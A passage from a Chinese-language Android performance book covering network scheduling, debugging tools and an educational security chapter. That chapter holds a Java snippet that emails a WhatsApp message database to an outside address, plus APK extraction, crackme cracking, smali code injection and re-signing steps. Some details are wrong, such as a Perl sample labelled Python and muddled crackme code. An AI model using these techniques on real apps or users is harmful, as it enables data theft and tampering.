int requiredNetworkState:这用于根据执行时的网络连接状态指定所需的行为。这意味着在开始执行之前会检查连接,但根据网络状态,连接可能会很快丢失。因此,无论我们选择什么值,我们都应该始终处理连接不可用的情况。可能的值如下:

Task.NETWORK_STATE_ANY:无论连接状态如何,任务都会执行。
Task.NETWORK_STATE_CONNECTED:只有在活动数据连接的情况下才会执行任务。否则,任务将延迟到连接可用。这是默认值。
Task.NETWORK_STATE_UNMETERED:只有在不受限制的连接可用时才会执行任务。否则,任务将挂起,直到有不受限制的连接可用。
boolean requiresCharging:这用于指定执行任务所需的设备充电状态。在执行特别耗资源的操作时,等待充电操作可能很有用。至于网络状态,如果设置的值为true且不在充电状态,那么在开启充电之前任务将不会执行。
boolean updateCurrent:这有助于修正较旧的计划任务,并用新任务覆盖它。默认为false;因此,每次都会计划一个新任务。

OneoffTask

OneoffTask允许我们指定一个执行窗口来计划任务。它有以下参数:

long windowStartDelay:这表示任务的执行起点。这意味着它可以在将来延迟。
long windowEndDelay:这指定了任务的执行结束点。

PeriodicTask

PeriodicTask为任务添加以下参数:

long flex:这设置在计算执行任务的最佳时机时的灵活性。例如,如果周期是 60 秒,而 flex 值为 10 秒,那么任务执行的正确时刻将由调度程序设置为 50 到 60 秒之间。这有助于让调度程序选择执行任务的最佳网络条件。
long period:这指定了将来执行任务的周期性周期。

调试工具

在调试阶段,从网络的角度来看,我们需要灵活的工具来让我们在不同的连接条件下测试我们的应用程序,检查我们在网络上传输的内容,我们是如何做到的,我们如何处理和缓存响应,以及通信是否安全和可靠。

在以下章节中,我们想要讨论的是为了支持新 Android N SDK 内部变化而引入的新adb命令。而且,除了之前在第二章 高效调试 中讨论的 Android 工具,如网络统计工具和TrafficStats API,我们还想简要介绍一些有帮助的工具。这些工具可以让我们分析应用程序的网络性能,并拦截网络通信以便进行详细分析,从而使用本章前面讨论的模式来改进它。

Android N 网络 ADB 工具

如前所述,Android N 对数据网络后台使用引入了新的限制。因此,它在adb内提供了命令,以正确调试和检查我们的实现。

新的命令如下:

adb shell dumpsys netpolicy:这用于生成关于网络限制设置的报告。
adb shell cmd netpolicy:这用于检查与 netpolicy 相关的所有命令。
adb shell cmd netpolicy set restrict-background <boolean>:用于启用或禁用数据节省功能。
adb shell cmd netpolicy add restrict-background-whitelist <UID>:用于将特定包添加到白名单应用程序中。
adb shell cmd netpolicy remove restrict-background-whitelist <UID>:用于从白名单中移除特定的应用程序包。

Fiddler

Fiddler 是一个用作代理服务器的调试工具,它能够捕获网络上的 HTTP 和 HTTPS 请求,充当中间人(MITM)。除此之外,它还可以拦截请求并更改响应,以测试我们应用程序的不同使用场景。

这个工具在许多不同的环境中被使用,但对于我们的 Android 应用程序,我们需要配置设备以通过 Fiddler 网络,并将其作为代理服务器:因此,按照这里给出的步骤配置代理:

打开设备的 Wi-Fi 设置。
在 Fiddler 所在的网络上长按。
在对话框上点击修改网络。
通过勾选显示高级选项复选框来启用高级选项。
将代理设置设置为手动。
在代理主机名中输入 Fiddler 电脑的 IP 地址。
输入 Fiddler 端口代理端口。

Fiddler 的图形界面在图 3中说明:

图 3:Fiddler 界面

使用这个工具,我们可以访问许多功能来调试我们的应用程序通信,并添加许多扩展来增强其功能,从而提高我们的网络调试技能。

Wireshark

Wireshark 是一个免费的多平台工具,旨在分析从连接中收集的数据包。它像一个中间人一样工作。你需要将你的设备连接到桌面网络以获取信息。你可以通过 USB 端口、蓝牙或创建 Wi-Fi 热点来连接设备。有很多不同的工具可以做到这一点,甚至在 Wireshark 软件包内部也有。

WireShark 捕获的每个单独数据包在图 4中显示:

图 4:Wireshark 中收集的数据包。

捕获的内容可以通过多种方式过滤,以找到我们感兴趣的特殊数据包类型。因此,这个工具是最灵活和受欢迎的数据包分析器之一。

应用程序资源优化器

AT&T 的应用程序资源优化器(在以下页面中称为ARO)是一个用于在桌面查找网络策略改进的好工具。它检查一系列定义的改进点,并给出建议。无需 root 权限。它可以在每个设备上使用,并采用两个连续的步骤:

数据收集:通过注册视频和追踪网络请求来收集数据。
数据分析:通过检查 25 项最佳实践来分析应用程序的网络连接。

收集数据需要 VPN,但应用程序将自动安装创建 VPN 所需的设备。然后,要开始收集,请点击数据收集器,然后点击开始收集器。在设备上导航应用程序,完成后,在桌面上的 ARO 应用程序中点击数据收集器和停止收集器。ARO 将分析数据,并以图形方式显示结果,如图图 5所示:

图 5:AT&T 应用程序资源优化器结果

ARO 为每个分析的最佳实践显示结果,我们可以详细检查每一个,以了解哪里出了问题以及如何修复。

它的瀑布视图还可以用来了解每个单独连接的时间,并检查是什么降低了响应速度,如图图 6所示:

图 7:ARO 瀑布视图

网络衰减

我们想在应用程序中执行的主要测试与设备的网络条件有关。这并不简单,因为只有少数工具可以做到这一点,尤其是在真实设备上。然而,我们想探索一些选择。这就是为什么下面我们将使用允许我们为本地连接的设备更改这些值的工具,然后我们将处理模拟器速度和延迟的高级管理。

速度和延迟模拟

图形化模拟器控制器允许我们为速度和延迟设置预设值。尽管如此,命令行模拟器控制器可以在模拟器运行时使用自定义值设置和更改它们。

要设置速度并启动模拟器,我们可以运行以下命令:

emulator -netspeed <speed>

其中<speed>可以是以下之一:

gsm: 上传速度:14.4 kbps,下载速度:14.4 kbps
hscsd: 上传速度:14.4 kbps,下载速度:43.2 kbps
gprs: 上传速度:40.0 kbps,下载速度:80.0 kbps
edge: 上传速度:118.4 kbps,下载速度:236.8 kbps
umts: 上传速度:128.0 kbps,下载速度:1920.0 kbps
hsdpa: 上传速度:348.0 kbps,下载速度:14400.0 kbps
full: 最大上传速度,最大下载速度
<link>: 上传速度:链路值 kbps,下载速度:链路值 kbps
<up>:<down>: 上传速度:up 值 kbps,下载速度:down 值 kbps

特别是最后两个值,让我们可以决定任何网络速度的值。然后,如果我们想在模拟器运行时改变速度,我们可以使用以下命令,并使用之前提到的相同值:

network speed <speed>

它类似于延迟值。启动具有选定延迟的模拟器的命令如下:

emulator -netdelay <delay>

其中<delay>可以是以下之一:

gprs: 最小延迟:150 ms,最大延迟:550 ms
edge: 最小延迟:80 ms,最大延迟:400 ms
umts: 最小延迟:35 ms,最大延迟:200 ms
none: 最小延迟:0 ms,最大延迟:0 ms
<latency>:最小延迟:ms 中的延迟值,最大延迟:ms 中的延迟值
<min>:<max>:最小延迟:ms 中的最小值,最大延迟:ms 中的最大值

至于速度,我们可以改变运行模拟器的网络延迟。只需使用上面列出的特定延迟值执行以下命令:

network delay <delay>

Fiddler

我们在本章前面已经介绍了这个工具,但这里我们想要了解的是,Fiddler 允许我们通过添加一个特定的插件来改变网络的延迟。这就是 Fiddler 延迟响应扩展,它看起来像图 7中的截图:

图 8:Fiddler 延迟响应扩展

众所周知,Fiddler 作为代理工作,每个请求都会通过它。因此,我们可以将每个与特定远程资源的会话添加到图 7中截图所示的插件中,并为它设置特定的延迟(毫秒)。

网络链接调节器

苹果设备有一个名为网络链接调节器的服务,它有助于在设备上设置特定的网络配置文件。因此,我们可以将其用于网络共享,利用这个工具在真实设备上测试我们的应用程序。它看起来像图 8中的截图:

图 9:网络链接调节器

网络衰减器

AT&T 网络衰减器是一个 Android 应用程序,可以改变设备的连接条件,以在实际场景中测试我们的应用程序。该项目仍处于测试阶段,只能在获得 root 权限的三星 Galaxy S3 上使用,但希望将来能改进以支持更多设备。让我们简要了解一下它,以理解它如何提供帮助:

当安装在设备上时,网络衰减器可以执行以下操作:

改变上传和下载的网络速度
通过设置数据包丢失百分比来改变网络效率
通过域名或 IP 地址阻止远程资源访问

使用这个工具,无需将设备连接到由其他应用程序控制和限制的特定网络。它看起来像图 9中的截图:

图 10:AT&T 网络衰减器

概述

应用程序的网络方面是最具挑战性的问题。从应用程序的网络策略来看,你可以从这个角度找到可以优化的东西。为此,我们处理了 Android 上的UrlConnection API,以便更好地理解我们可以用它做什么,分析如何使用不同的网络协议,设置不同的请求方法类型,向请求中添加额外的参数,如头部和 cookies,以及处理通信中的压缩。然后,我们概述了平台上可用的连接类型,以了解我们的应用程序在网络传输中可以达到的速度。

然后,在最佳实践部分讨论的模式在提高网络性能方面非常有用。需要遵循的一般原则是:

根据连接速度改变要传输的内容,以加快应用程序速度。
预取数据以加快导航速度并减少远程请求。甚至更好的是,测量延迟以确定预取的正确策略,以在速度和传输节省之间达到正确的平衡。
启用响应缓存以保存单个连接上传输的数据。考虑使用If-Modified-Since头部,当需要已缓存的静态远程资源且服务器上未修改时,减少请求的负载。
在可能的情况下,考虑使用推送模式而不是轮询模式,以节省带宽和电池,并在不需要时避免激活无线电。
当后端出现暂时性错误时,限制请求可能很有帮助。为此,指数退避模式是让服务器在过载时恢复时间和资源的正确选择。

在定义了最佳实践之后,我们通过平台提供的几个有用的 API 来实践本章所讨论的内容。以下是一些 API:

SyncManager API
GCMNetworkManager API

为了验证我们所学的内容是否应用得当,我们在调试工具部分讨论了正确的工具来检查三个主要目标:

在不同的网络条件下测试应用程序,改变速度和延迟。
从外部检查请求属性,以确保它们符合我们的需求
检查在应用程序生命周期中是否有执行不必要的传输

为了这些目标,我们引入了 Fiddler、WireShark 和 ARO:这三种工具用于分析我们的应用程序,并让我们知道如何改进它。最后,我们讨论了几种方法,用于在模拟器和真实设备上模拟连接条件不佳的情况。

在这里,我们处理了与网络架构和策略有关的一切,以改善连接时间并减少由于使用无线电导致的电池耗电,但我们还没有讨论缓存。请参考第十章,性能技巧,详细了解如何正确缓存数据以便将来重用,使用序列化技术,然后从 CPU 和网络性能的角度提高性能,加快应用程序的整体响应速度。

第七章:安全

维基百科将安全定义为:“对伤害的抵抗程度或保护。它适用于任何脆弱且宝贵的资产,如人、住所、社区、物品、国家或组织。”

当我们思考软件安全时,脑海中可能会浮现黑客在黑色屏幕和绿色字体中工作的画面,他们快速地在控制台输入命令,以获取系统访问权限或破坏防火墙。但现实与好莱坞电影中的情景不同。软件安全指的是一个强大的系统,它保护用户的隐私,避免攻击者的不必要交互,并保持完整性。

计算机系统可能会遇到多种漏洞或攻击向量:

后门:后门是用于绕过应用程序安全性的点,通常是系统开发者留下的。2013 年,斯诺登曝光的一个丑闻暗示,国家安全局(NSA)拥有许多操作系统和平台的后门,包括谷歌的。
拒绝服务攻击:拒绝服务(DoS)是一种旨在使资源对用户不可用的攻击。DDoS 和 DoS 攻击属于这一类别:这些攻击包括向服务器发送请求,直到服务器无法处理所有请求,并停止向合法用户服务内容。
直接访问攻击:在这种攻击中,攻击者直接访问系统,通常目的是窃取文档或其中包含的相关信息。
中间人(MitM)攻击:在这种攻击中,第三方将计算机插入合法目的地和源头之间,并欺诈性地将自己设置为合法目的地。然后用户将所有信息发送给这个拦截器,拦截器通常又将信息重新发送到合法目的地,因此用户没有意识到信息已被截获。
MitM 攻击的拓扑结构
篡改:篡改是指恶意修改软件,通常目的是假装它是合法版本,并在后台执行一些不希望的操作(如监控或窃取信息)。

作为操作系统,Android 并非没有这些风险。实际上,考虑到其广泛的应用范围(全球有超过十亿个 Android 设备),它比其他平台面临更多的威胁。已经有一些知名(并被广泛使用)的应用程序因设计标志通常被用作软件设计不当可能发生的情况的例子。

WhatsApp —— “不可为”的永恒展示

WhatsApp 可以展示应用程序可能呈现的一些标志。2011 年报告了一个漏洞,指出 WhatsApp 内的通信并未加密。连接到同一 Wi-Fi 网络的设备可以访问其他设备之间的通信。几乎花了一年的时间来修复这个漏洞,而这个漏洞并不是特别复杂难以解决。

那一年晚些时候,也报告了一个问题,允许攻击者冒充用户并控制他的账户。2012 年 1 月,一名黑客发布了一个网站,如果知道电话号码,就可以更改安装了 WhatsApp 的任何设备的状态。WhatsApp 为修复这个漏洞所采取的唯一措施是封锁了网站的 IP 地址(正如任何读者可以想象的,这远非一个有效的措施)。

WhatsApp 多年来存在的一个大问题是,消息存储在本地数据库中。这是在外部存储中完成的,任何其他应用程序(以及任何恶意黑客)都可以访问该文件。这个想法可能有它的理由(例如,保持备份),但实施结果是一场灾难。数据库总是使用相同的加密密钥进行加密,因此任何可以访问该文件的人都可以轻松地解密它。以下是一个获取数据库文件并通过电子邮件发送的示例操作:

public void onClick(View v) {
try {
AsyncTask<Void, Void, Void> m = new AsyncTask<Void, Void, Void>() {
@Override
protected Void doInBackground(Void… arg0) {
GMailSender sender = new GMailSender(EMAIL_STRING, PASSWORD_STRING);
try {
File f = new File(filePathString);
if (f.exists() && !f.isDirectory()) {
sender.addAttachment(\”/storage/sdcard0/ WhatsApp/ Databases/msgstore.db.crypt\”, SUBJECT_STRING);
sender.sendMail(SUBJECT_STRING,
BODY_STRING,
EMAIL_STRING,
RECIPIENT_STRING);
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
};
m.execute((Void)null);
} catch (Exception e) {
Log.e(\”SendMail\”, e.getMessage());
}
}
});

深入代码

当我们在特定技术上发展时,通常会用高级语言(如 C、C++或 Java)编程,然后编译我们的代码和资源到一个文件中,该文件将在独立平台上执行。编译过程在技术之间有所不同(Java 的编译过程与 C++不同,因为 Java 将在 JVM 中运行)。通过或多或少的难度,已经编译的代码可以“逆向”并从编译后的代码访问,编译后的代码通常是不可读的,变为对用户更友好的形式。

下图展示了我们在 Android 中开发应用程序的过程:

以下是上述内容的解释:

最初,我们利用 Android SDK 和外部库开发我们的应用程序。最终,我们还使用了 NDK,它遵循不同的开发和编译过程。
当我们的应用程序准备好,我们想要编译它时,它将被编译以在 Android 虚拟机上执行。这将被编译成一个大致相当于 DEX 格式的字节码文件,这是 Android 理解的格式。
文件后来被打包并签名。签名的过程很重要,因为这样我们可以确保文件属于特定的公司,并且没有被篡改。
之后,应用程序将通过 Google 应用商店或其他替代市场进行分发。

注意

安卓设备如果使用的是 4.4 版本或更早的操作系统,会使用一个特定的虚拟机版本,名为 Dalvik,这个名字来源于冰岛的一个渔村。从 Android 5.0 开始,这个虚拟机版本被停止使用,取而代之的是一个新的虚拟机版本,名为Android Runtime (ART),它使用相同的字节码和 DEX 格式。

要访问生成 APK 文件的代码,只需按照逆向步骤进行即可。

捕获 APK 文件

我们可以使用不同的方法来捕获 APK 文件。在本书中,我们将介绍三种(截至 2015 年第四季度可用)。请注意,本章提供的信息仅用于教育目的。在进行逆向工程时,需要遵守一些规则和立法,这将在后面讨论。

从设备中提取文件

如果我们的设备已经 root 或者我们使用的是安装了 Google Play 服务的模拟器,可以提取已安装的 APK。请注意,root 过的设备可能会受到恶意应用程序和攻击者的针对。如果你打算 root 你的设备,互联网上有大量的免费信息可供参考。

当应用从 Play Store 或替代市场安装后,你首先需要将adb连接到你的电脑。首先你需要确定目标应用的包名:

adb shell pm list packages

尝试将应用名称与列出的某个包进行匹配,这并不总是容易的。如果你找不到,观察当你在 Play Store 中显示应用时浏览器的 URL:

此图像与 Google Maps 相对应。包名是id=-之后的所有内容。确定包名后,你需要获取它的完整路径:

adb shell pm path com.example.targetapp

这通常会返回位于/data/app文件夹中的地址。找到它后,你需要从设备中提取它:

adb pull /data/app/com.example.targetapp-2.apk

这样操作之后,你将成功下载应用的 APK。

使用 Wireshark 捕获 APK

Wireshark 是一个在安全领域广泛使用的网络嗅探和分析工具。它捕获网络中的流量并进行嗅探,即读取未加密的内容。即使内容被加密,也有一些技术可以误导客户端或设备认为服务器是真实的(中间人攻击),然后拦截所有发送的信息。

为了拦截 APK 文件(以及 Android 流量),你需要在电脑上创建一个热点。这将取决于你所使用的操作系统。在 Macintosh 上,可以通过选择互联网共享轻松完成,使用以太网作为共享的互联网连接,并提供 Wi-Fi 作为热点。这个选项可以在配置菜单中找到:

当手机已经连接到我们的热点并在浏览时,我们需要让 Wireshark 从连接中嗅探。使用 Wireshark 并设置它可能需要一整本书的篇幅。作为一个起点:我们需要指向与 Wireshark 共享的接口,并注意所有发送和接收的包。我们可以使用过滤器来指出发送信息的 IP,因为可能会有大量的信息。当确定了 URL 和认证头后,我们可以使用如 Postman 之类的 HTTP 请求创建器下载 APK。

使用外部网站

许多网站提供这项功能,以点击广告或展示广告作为交换。在 Google 上搜索\”在线下载 APK 文件\”,会返回成千上万的网站。一个不算详尽的搜索将引导我们下载我们的目标 APK。然而,我们强烈不推荐这种方法。正如我们后面将看到的,修改 APK 并插入恶意代码是件轻而易举的事。提供明显免费下载的网站背后可能隐藏着恶意代码的注入。

APK 文件解剖

假设我们已经获得了一个 APK 文件。为了本节的用途,并且为了简化练习,我们将创建一个仅包含Activity内一个TextView的HelloWorld应用程序。

为了分析我们应用程序的内部结构,首先让我们解压 APK 并检查其内容。我们将看到类似以下的内容:

对于这个领域的新手来说,我们可以看到 Android 清单和res文件夹内的资源是直接可访问的。classes.dex文件包含了我们前面解释的编译后的 Java 文件。Resources.arsc文件(应用程序资源文件)包含二进制资源的列表,包括程序使用的任何类型的数据。这个文件是由Android Asset Packaging Tool(aapt)创建的。

我们现在将介绍第一种技术,读取未经混淆的文件的代码,并将文件转换为 JAR 文件,然后用反编译器打开它。为此,我们需要两个工具:

dex2jar:一个开源工具,用于将 Android APK 转换为 JAR 文件。翻译并非完全准确,但通常足以反编译 JAR 文件(更容易)并洞察代码。可以从sourceforge.net/p/dex2jar/下载。
JD-GUI:Java Decompiler 项目是另一个开源项目,旨在以简单直观的方式反编译 Java 5 版本之后的 JAR 文件。我们为 Eclipse 和 IntelliJ 提供了插件,但为了本章的目的,我们将使用独立应用程序。可以从jd.benow.ca/下载。

下载完这两个应用程序后,首先将 APK 转换成 JAR 文件。为此,我们需要编写以下命令:

java –jar dex2jar.jar target.apk

如果我们使用 .sh 文件,以下是相关内容:

./dex2jar.sh target.apk

这将在与 target.apk 同一文件夹中生成一个名为 TargetFile_dex2jar.jar 的文件。

现在让我们打开这个文件,使用 JD-GUI 打开它,并选择 HelloWorldActivity。我们将看到类似于以下屏幕的内容:

这是一个应用程序的基本示例,但一个敏锐的读者会意识到,对于更复杂的应用程序,可能性也是巨大的。对于下一个练习,让我们下载一个 Crackme 并尝试玩玩它的 insight.exercise:

注意

Crackmes 通常是为了测试程序员在逆向工程方面的知识而创建的程序。它提供了一种合法的方式来“破解”软件并练习绕过安全措施,因为这里没有真正的公司参与。它们经常被用在比赛中。

为了测试一个真实的逆向工程场景,我们需要下载以下 Crackme(需要注册):crackmes.de/users/deurus/android_crackme03/。

下载后,解压并将在模拟器或设备上安装 APK 文件。启动后,它将显示以下屏幕:

这个特定的程序需要安装在真实设备上,因为在模拟器中,其中一个参数将始终是一组 0。但对于我们的目的,它将正常工作。

我们应用与之前在 HelloWorld 应用程序中相同的步骤(转换为 JAR,然后用 JD-GUI 打开)。打开后,导航到文件 HelloAndroid。我们将看到以下代码:

这是一组代码,它不能直接编译。它充满了随机的断点和奇怪的返回及条件。然而,我们可以将其重新组织在编译器中以显示基础内容并理解它:

主屏幕上第一个和第二个 TextView 的值被取到两个变量中(str1 和 str2)。
如果第一个字符串的长度小于 4,则进程会被终止,并显示带有文本 \”min 4 chars\” 的 Toast。
有两个字符串(str5 和 str6),分别是设备 ID 和 SIM 卡序列号。
还有一些字符串的组合(str7 和 str8),它们分别取 str5 和 str6 的子串,还有一个应用了 EXOR 运算符的组合。

我们可以稍微重新组织一下代码,以确保它能够编译。我们可以在同一代码中指定我们提供的值,并运行它:

String str1 = \”MyName\”;
int i = str1.length();
String str2 = \”\”;
String str3 = \”00000\”;
while (true) {
Toast.makeText(mainActivity, \”Min 4 chars\”, 1).show();
String str4 = String.valueOf(0x6B016 ^ Integer.parseInt(str2.substring(0, 5)));
TelephonyManager localTelephonyManager = (TelephonyManager) mainActivity.getSystemService(\”phone\”);
String str5 = localTelephonyManager.getDeviceId();
String str6 = localTelephonyManager.getSimSerialNumber();
String str7 = str5.substring(0, 6);
String str8 = str6.substring(0, 6);
long l = Integer.parseInt(str7) ^ Integer.parseInt(str8);
if (!(str4 + \”-\” + String.valueOf(l) + \”-\” + str7).equals(str3)) {
Toast.makeText(mainActivity, \”God boy\”, 1).show();
}

在你的设备上尝试这段代码,以从getDeviceId()和getSimSerialNumber()函数中获取正确的信息。稍后将在 Crackme 中引入它们,显示的消息将是\”God boy\”(这里指的是上帝)。恭喜你。你刚刚使用逆向工程破解了你的第一个 Crackme。

代码注入

另一个大的安全风险是代码注入。当软件被故意修改以插入一段通常具有恶意的代码模块,执行非预期操作时,就会发生代码注入。这些非预期操作可能包括数据窃取、用户监控等等。因此,在这种情况下,确保应用程序被签名尤为重要。来自可信任制造商签名的应用程序不会包含注入的代码。

爱尔兰工程师 Georgie Casey 在 2013 年的一篇文章中证明了可怕的概念验证。他反编译了获奖的 Android 键盘 SwiftKey,并注入了一段代码,记录所有按键操作,并通过连接到公共网站的 Web 服务发送它们,在那里显示出来。他的目的是证明任何人都可以这样做,并将修改后的 APK 上传到替代商店之一。寻找免费 APK 的人可能已经下载并使用了它,在不知情的情况下将所有个人信息(密码和信用卡)发送到攻击者的 Web 服务。他在博客中详细解释了整个过程,这个过程有多么简单令人惊讶。在本节中,我们将展示如何修改基本的HelloWorld以插入一些新功能,但这个过程可以根据想象力扩展。

注意

坚持使用官方应用商店通常可以完全保护免受此类攻击。谷歌会使用一个名为Bouncer的系统自动扫描所有 APK,该系统能够检测并停用具有恶意意图的恶意软件和代码。此外,像 SwiftKey 这样的知名公司不会冒险发布包含 KeyLogger 来监视用户的应用程序,从而损害自己的声誉。

让我们回到在前几节中开发的类似于HelloWorld的程序。在这种情况下,我们需要另一个工具,即 apktool。之前,我们将应用程序转换成了 JAR,然后使用 JD-GUI 进行反编译。现在,我们将执行一个更精确的过程,直接将应用程序反汇编和组装成 Baksmali 和 Smali 格式(Android 虚拟机使用的格式)。Baksmali 和 Smali 在冰岛语中分别意味着反汇编器和汇编器(我们猜想谷歌的 Android 开发者主要来自冰岛,或者他们对这个国家有着强烈的热情,以至于给如此多的组件起名都与之相关)。关于这种格式没有太多的官方文档,所以现在推荐的了解它的方法是反编译应用程序。一如既往——实践胜于理论。

从ibotpeaches.github.io/Apktool/下载 apktool。将其安全地下载到您的计算机上,然后从HelloWorld应用程序中取出 APK,并输入以下命令:

apktool d –r HelloWorld.apk HelloWorld

这将把当前的 APK 文件反汇编到HelloWorld文件夹中。如果我们进入该文件夹,我们会观察到以下结构:

AndroidManifest.xml:这是可读的文件
res/文件夹:包含所有解码内容的资源文件夹
smali/文件夹:这个文件夹包含所有源文件,是这一节最重要的文件夹
apktool.yml:apktool 的配置文件

让我们进入smali/文件夹看看。其结构可能类似于以下这样:

对于 APK 中的每个类,我们已经创建了一个smali文件。还有一些其他文件,标记为class$name.smali。它们表示类文件内部的内部类(在我们的R类内部的类,这是生成用来访问 Android 资源的类)。smali(广义上)是 Java 文件的字节码表示。

现在是时候看看smali文件了。首先打开HelloWorldActivity.smali:

.class public Lcom/test/helloworld/HelloWorldActivity;
.super Landroid/app/Activity;
.source \”HelloWorldActivity.java\”
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 8
invoke-direct {p0}, Landroid/app/Activity;-><init>()V
return-void
.end method
# virtual methods
.method public onCreate(Landroid/os/Bundle;)V
.locals 2
.parameter \”savedInstanceState\”
.prologue
.line 12
invoke-super {p0, p1}, Landroid/app/Activity;- >onCreate(Landroid/os/Bundle;)V
.line 14
new-instance v0, Landroid/widget/TextView;
invoke-direct {v0, p0}, Landroid/widget/TextView;- ><init>(Landroid/content/Context;)V
.line 15
.local v0, text:Landroid/widget/TextView;
const-string v1, \”Hello World, Android\”
invoke-virtual {v0, v1}, Landroid/widget/TextView;- >setText(Ljava/lang/CharSequence;)V
.line 16
invoke-virtual {p0, v0}, Lcom/test/helloworld/HelloWorldActivity;- >setContentView(Landroid/view/View;)V
return-void
.end method

如果我们阅读这个文件,会看到一些熟悉的实例和名称:似乎有很多 Android 类,如Activity或TextView,还有像setContentView()这样的 Android 方法。文件开头三行看起来是一个类声明,之后是一个构造函数声明,最后是onCreate()方法。

如果我们熟悉某种机器编程,就会知道寄存器(分配空间以插入信息)的含义。我们可以在如下这样的行中观察到这一点:

new-instance v0, Landroid/widget/TextView;
.local v0, text:Landroid/widget/TextView;
const-string v1, \”Hello World, Android\”

在前面的代码中,执行了不同类型的操作(创建变量并访问它),使用了一些寄存器的方向——在这里使用了v0和v1方向。

操作码

操作码很容易推断,它是机器上要执行的操作代码。与其它语言和技术相比,Dalvik 的操作码集合并不庞大(我们可以访问以下 URL 作为参考,其中包含大部分操作码:pallergabor.uw.hu/androidblog/dalvik_opcodes.html)。反编译 Java/Dalvik 的优点在于操作码集合较小,容易推断,因此更容易自动化反编译工具。我们刚才反编译的代码中包含的一些操作码有:

invoke-super:调用super方法
new-instance:创建一个变量的新实例
const-string:创建一个字符串常量
invoke-virtual:调用一个virtual方法
return-void:返回 void

注入新代码

在这个阶段,我们可能已经推断出注入代码的过程包括从功能应用创建 smali 代码并将其注入正确的位置。注意寄存器的编号以避免覆盖并使之前的代码失去功能,这一点很重要。

例如,如果我们创建一个在屏幕上显示吐司的函数,编译 APK 并进行反汇编,我们最终会得到一些类似于以下内容的代码(忽略创建应用和活动的部分):

invoke-virtual {p0}, Lcom/test/helloworld/HelloWorldActivity;- >getApplicationContext()Landroid/content/Context;
move-result-object v1
const-string v2, \”This is a Disassembled Toast!\”
const/4 v3, 0x0
invoke-static {v1, v2, v3}, Landroid/widget/Toast;- >makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
move-result-object v1
invoke-virtual {v1}, Landroid/widget/Toast;->show()V

在我们的案例中,覆盖寄存器没有问题。现在让我们修改原始文件,我们得到的结果类似于以下内容:

.class public Lcom/test/helloworld/HelloWorldActivity;
.super Landroid/app/Activity;
.source \”HelloWorldActivity.java\”
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 8
invoke-direct {p0}, Landroid/app/Activity;-><init>()V
return-void
.end method
# virtual methods
.method public onCreate(Landroid/os/Bundle;)V
.locals 2
.parameter \”savedInstanceState\”
.prologue
.line 12
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
.line 14
new-instance v0, Landroid/widget/TextView;
invoke-direct {v0, p0}, Landroid/widget/TextView;- ><init>(Landroid/content/Context;)V
.line 15
.local v0, text:Landroid/widget/TextView;
const-string v1, \”Hello World, Hacked Android\”
invoke-virtual {v0, v1}, Landroid/widget/TextView;- >setText(Ljava/lang/CharSequence;)V
.line 16
invoke-virtual {p0, v0}, Lcom/test/helloworld/HelloWorldActivity;- >setContentView(Landroid/view/View;)V
invoke-virtual {p0}, Lcom/test/helloworld/HelloWorldActivity;- >getApplicationContext()Landroid/content/Context;
move-result-object v1
const-string v2, \” This is a Disassembled Toast!\”
const/4 v3, 0x0
invoke-static {v1, v2, v3}, Landroid/widget/Toast;- >makeText(Landroid/content/Context;Ljava/lang/CharSequence;I) Landroid/widget/Toast;
move-result-object v1
invoke-virtual {v1}, Landroid/widget/Toast;->show()V
return-void
.end method

注意,注册表中v1的常量字符串也已经修改,现在包含文本\”Hello World, Hacked Android!\”。

签名与重新构建应用

应用最后修改后,是时候重新构建应用了。类似于我们如何反汇编应用,我们将应用以下命令来重新构建它(请注意,您需要处于反汇编应用文件夹中才能重新构建它):

apktool b ./HelloWorld

这个命令将在dist文件夹中创建一个名为HelloWorld.apk的文件。然而,还有一件重要的事情要做:签名应用。我们刚才创建的 APK 尚未签名,还不能在任何设备上安装。

首先,我们需要一个keystore来进行签名。如果我们还没有,需要使用如keytool这样的程序来生成一个:

keytool -genkey -v -keystore example.keystore -alias example_alias -keyalg RSA -validity 100000

我们需要输入一些密钥信息。虽然这不是严格要求的,因为唯一目的是作为一个重新打包 APK 的演示,我们仍然需要注意输入的密钥,因为下一步我们需要使用它。生成后,使用jarsigner对生成的 APK 进行签名的过程非常简单:

jarsigner -verbose -keystore example.keystore ./HelloWorld/dist/HelloWorld.apk alias_name

我们最终的应用将展示以下界面:

保护我们的应用

我们已经看到,如果没有适当的措施,反编译和重新编译应用程序是微不足道的。目的不仅仅是为了将应用程序当作自己的,我们还可以轻松访问不应被每个人访问的令牌和代码。

在本章中,我们将探讨不同的想法,但主要的是应用混淆。混淆是使代码对人类不可读,减慢或停止理解的过程。在某些领域,混淆是一件大事,甚至还有创建最佳混淆机制的竞赛。以下是一个 Python 语言中混淆代码的示例,它会在屏幕上显示文本 \”Just another Perl / Unix hacker\”(此示例来自维基百科,en.wikipedia.org/wiki/Obfuscation_(software)):

@P=split//,\”.URRUU\\c8R\”;@d=split//,\”\\nrekcah xinU / lreP rehtona tsuJ\”;sub p{ @p{\”r$p\”,\”u$p\”}=(P,P);pipe\”r$p\”,\”u$p\”;++$p;($q*=2)+=$f=!fork;map{$P=$P[$f^ord ($p{$_})&6];$p{$_}=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&& close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\\S/;print

特别是 Android,以及更广泛的 Java,使用 ProGuard 作为默认机制来对源代码应用混淆。在 Android 应用中激活 ProGuard 是很简单的。让我们导航到 build.gradle。我们很可能有一些定义好的 buildTypes(release 和 debug 是最常见的)。一种常见的做法是只为 release buildType 激活 ProGuard:

release {
debuggable false
minifyEnabled true
proguardFiles getDefaultProguardFile(\’proguard-android.txt\’), \’proguard-rules.pro\’
signingConfig signingConfigs.release
}

minifyEnabled true 将激活 ProGuard 使我们的发布版本生效。让我们看看一个典型的与 Android 一起使用的 ProGuard 文件是什么样的:

-injars bin/classes
-injars libs
-outjars bin/classes-processed.jar
-libraryjars /usr/local/java/android-sdk/platforms/android-9/android.jar
-dontpreverify
-repackageclasses \’\’
-allowaccessmodification
-optimizations !code/simplification/arithmetic
-keepattributes *Annotation*
-keep public class * extends android.app.Activity
-keep public class * extends android.app.Application
-keep public class * extends android.app.Service
-keep public class * extends android.content.BroadcastReceiver
-keep public class * extends android.content.ContentProvider
